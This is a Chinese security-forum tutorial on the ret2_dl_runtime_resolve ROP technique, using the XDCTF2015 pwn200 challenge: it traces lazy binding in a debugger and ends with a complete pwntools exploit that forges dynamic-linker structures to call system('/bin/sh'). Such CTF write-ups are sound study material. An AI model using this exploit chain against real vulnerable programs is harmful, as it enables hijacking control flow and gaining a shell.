首页
论坛
专栏
课程

[原创]ROP高级用法之ret2_dl_runtime_resolve

2019-4-10 17:04 2520

[原创]ROP高级用法之ret2_dl_runtime_resolve

2019-4-10 17:04
2520

简介

我们知道在Linux中如果程序想要调用其他动态链接库的函数,必须要在程序加载的时候动态链接;在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块;所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候才进行绑定(符号查找、重定位等);
而在Linux 中是利用_dl_runtime_resolve(link_map_obj, reloc_index)函数来对动态链接的函数进行重定位的;

_dl_runtime_resolve函数具体运行模式

首先总的来说一下_dl_runtime_resolve函数如何使程序第一次调用一个函数:

  1. 首先用link_map访问.dynamic,分别取出.dynstr、 .dynsym、 .rel.plt的地址;
  2. .rel.plt + 参数reloc_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel;
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym;
  4. .dynstr + sym->st_name得出符号名字符串指针;
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表;
  6. 最后调用这个函数;

现在我们通过一个实例来解释上面的过程:
任意打开一个ELF程序,这里我用XDCTF2015的pwn200中的strlen函数为例来看Linux中程序如何第一次调用一个函数;
在0x8048588下断点;

0x8048579 <main+90>     call   setbuf@plt <0x8048390>

   0x804857e <main+95>     add    esp, 0x10
   0x8048581 <main+98>     sub    esp, 0xc
   0x8048584 <main+101>    lea    eax, [ebp - 0x6c]
   0x8048587 <main+104>    push   eax
 ► 0x8048588 <main+105>    call   strlen@plt <0x80483b0>
        s: 0xffffbd8c ◂— 'Welcome to XDCTF2015~!\n'

   0x804858d <main+110>    add    esp, 0x10
   0x8048590 <main+113>    sub    esp, 4
   0x8048593 <main+116>    push   eax
   0x8048594 <main+117>    lea    eax, [ebp - 0x6c]
   0x8048597 <main+120>    push   eax

然后si进入call strlen@plt;

0x80483b0  <strlen@plt>                jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+20] <0x804a014>

   0x80483b6  <strlen@plt+6>              push   0x10 //参数n
   0x80483bb  <strlen@plt+11>             jmp    0x8048380
    ↓
   0x8048380                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x8048386                              jmp    dword ptr [0x804a008] <0xf7fead80>
       ↓   
   0xf7fead80 <_dl_runtime_resolve>       push   eax
   0xf7fead81 <_dl_runtime_resolve+1>     push   ecx
   0xf7fead82 <_dl_runtime_resolve+2>     push   edx

我们看到程序没有直接转到strlen函数,而是跳转到了_dl_runtime_resolve函数;并且push了两个参数:

push   0x10 //参数n
push   dword ptr [_GLOBAL_OFFSET_TABLE_+4]<0x804a004>

刚好是_dl_runtime_resolve(link_map_obj, reloc_index)需要的参数;其中0x804a004就是link_map指针,然后0x10就是reloc_index;

 

我们来看看如何通过这两个参数找到strlen函数的;
首先找到link_map的地址0xf7ffd940:

pwndbg> x/wx 0x804a004
0x804a004:    0xf7ffd940

然后通过link_map找到.dynamic的地址:

pwndbg> x/10wx 0xf7ffd940
0xf7ffd940:    0x00000000    0xf7ffdc2c    0x08049f14    0xf7ffdc30
0xf7ffd950:    0x00000000    0xf7ffd940    0x00000000    0xf7ffdc20

其中第三个地址就是.dynamic的地址,即0x08049f14;
然后通过.dynamic来找到.dynstr、 .dynsym、 .rel.plt的地址:

pwndbg> x/40wx 0x08049f14
0x8049f14:    0x00000001    0x00000001    0x0000000c    0x08048358
0x8049f24:    0x0000000d    0x08048624    0x00000019    0x08049f08
0x8049f34:    0x0000001b    0x00000004    0x0000001a    0x08049f0c
0x8049f44:    0x0000001c    0x00000004    0x6ffffef5    0x080481ac
0x8049f54:    0x00000005    0x08048278    0x00000006    0x080481d8
0x8049f64:    0x0000000a    0x0000006b    0x0000000b    0x00000010
0x8049f74:    0x00000015    0xf7ffd920    0x00000003    0x0804a000
0x8049f84:    0x00000002    0x00000028    0x00000014    0x00000011
0x8049f94:    0x00000017    0x08048330    0x00000011    0x08048318
0x8049fa4:    0x00000012    0x00000018    0x00000013    0x00000008

.dynamic的地址加0x44的位置是.dynstr;
.dynamic的地址加0x4c的位置是.dynsym;
.dynamic的地址加0x84的位置是.rel.plt;

 

然后用.rel.plt的地址加上参数reloc_index,即0x08048330 + 0x10找到函数的重定位表项Elf32_Rel的指针,记作rel;

pwndbg> x/10wx 0x08048330
0x8048330:    0x0804a00c    0x00000107    0x0804a010    0x00000207
0x8048340:    0x0804a014    0x00000407    0x0804a018    0x00000507
0x8048350:    0x0804a01c    0x00000607

这里rel为0x8048340,所以:

r_offset = 0x0804a014   //指向GOT表的指针
r_info = 0x00000407

然后我们将r_info>>8,即0x00000407>>8 = 4作为.dynsym中的下标;
此时我们来到.dynsym的位置,去找找strlen函数的名字符串偏移;

pwndbg> x/20wx 0x080481d8
0x80481d8:    0x00000000    0x00000000    0x00000000    0x00000000 //dynsym[0]
0x80481e8:    0x00000033    0x00000000    0x00000000    0x00000012 //dynsym[1]
0x80481f8:    0x00000027    0x00000000    0x00000000    0x00000012 //dynsym[2]
0x8048208:    0x00000052    0x00000000    0x00000000    0x00000020 //dynsym[3]
0x8048218:    0x00000020    0x00000000    0x00000000    0x00000012 //dynsym[4]

注意是下标,不是相对与.dynsym地址的偏移,如果是找地址偏移需要下标乘以0x10;
所以这里的name_offset = 0x00000020;
然后用.dynstr的地址加上name_offset,就是这个函数的符号名字符串st_name;

pwndbg> x/s 0x08048278 + 0x20
0x8048298:    "strlen"

最后在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表就可以了;

思路

现在我们仍然利用这个程序来具体看看ret2_dl_runtime_resolve的利用手法;
事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name的内容就可以执行任意函数。比如把st_name的内容修改成为"system";
而index_arg即参数n是我们可以控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控;我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr;
所以我们需要在程序中找一段空间start出来,放我们直接构造的fake_dynsym,fake_dynstr和fake_rel_plt等,然后利用栈迁移的手法将栈转移到start;

计算index_arg的方法

$ objdump -s -j .rel.plt ./test
./x86: file format elf32-i386
Contents of section .rel.plt:
 08048298 0ca00408 07010000 10a00408 07030000  ................
index_arg = fake_rel_plt_addr - 0x08048298

r_info的计算方法

r_info的计算方法是:

  1. n = (欲伪造的地址-.dynsym基地址)/0x10
  2. r_info = n<<8
    比如:
    $ objdump -s -j .dynsym ./test
    ./test: file format elf32-i386
    Contents of section .dynsym:
    80481cc 00000000 00000000 00000000 00000000  ................
    x = ((0x0804A040 + 4*4) - 0x080481cc)/0x10
    r_info = x<<8 = 0x1e800
    还需要过#define ELF32_R_TYPE(val)   ((val) & 0xff)宏定义,ELF32_R_TYPE(r_info)=7,因此
    r_info = 0x1e800 + 0x7 = 0x1e807
    

    计算name_offset

    $objdump -s -j .dynstr ./test
    ./test: file format elf32-i386
    Contents of section .dynstr:
    804821c 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s
    st_name = fake_dynstr_addr - 0x804821c
    
    构造的ROP:

    EXP

    from pwn import *
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    name = './main'
    p = process(name)
    elf= ELF(name)
    rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x8048330
    dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481d8
    dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x8048278
    resolve_plt = 0x08048380
    leave_ret_addr = 0x0804851D
    start = 0x804aa00
    fake_rel_plt_addr = start
    fake_dynsym_addr = fake_rel_plt_addr + 0x8
    fake_dynstr_addr = fake_dynsym_addr + 0x10
    bin_sh_addr = fake_dynstr_addr + 0x7
    #n就是index_arg
    n = fake_rel_plt_addr - rel_plt_addr
    r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
    str_offset = fake_dynstr_addr - dynstr_addr
    fake_rel_plt = p32(elf.got['read']) + p32(r_info)
    fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
    fake_dynstr = "system\x00/bin/sh\x00\x00"
    pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
    p.recvuntil('Welcome to XDCTF2015~!\n')
    p.sendline(pay1)
    pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
    p.sendline(pay2)
    success(".rel_plt: " + hex(rel_plt_addr))
    success(".dynsym: " + hex(dynsym_addr))
    success(".dynstr: " + hex(dynstr_addr))
    success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
    success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
    success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
    success("n: " + hex(n))
    success("r_info: " + hex(r_info))
    success("offset: " + hex(str_offset))
    success("system_addr: " + hex(fake_dynstr_addr))
    success("bss_addr: " + hex(elf.bss()))
    p.interactive()
    


[公告]LV6级以上的看雪会员可以免费获得《2019安全开发者峰会》门票一张!!

最后于 2019-4-10 17:51 被钞sir编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回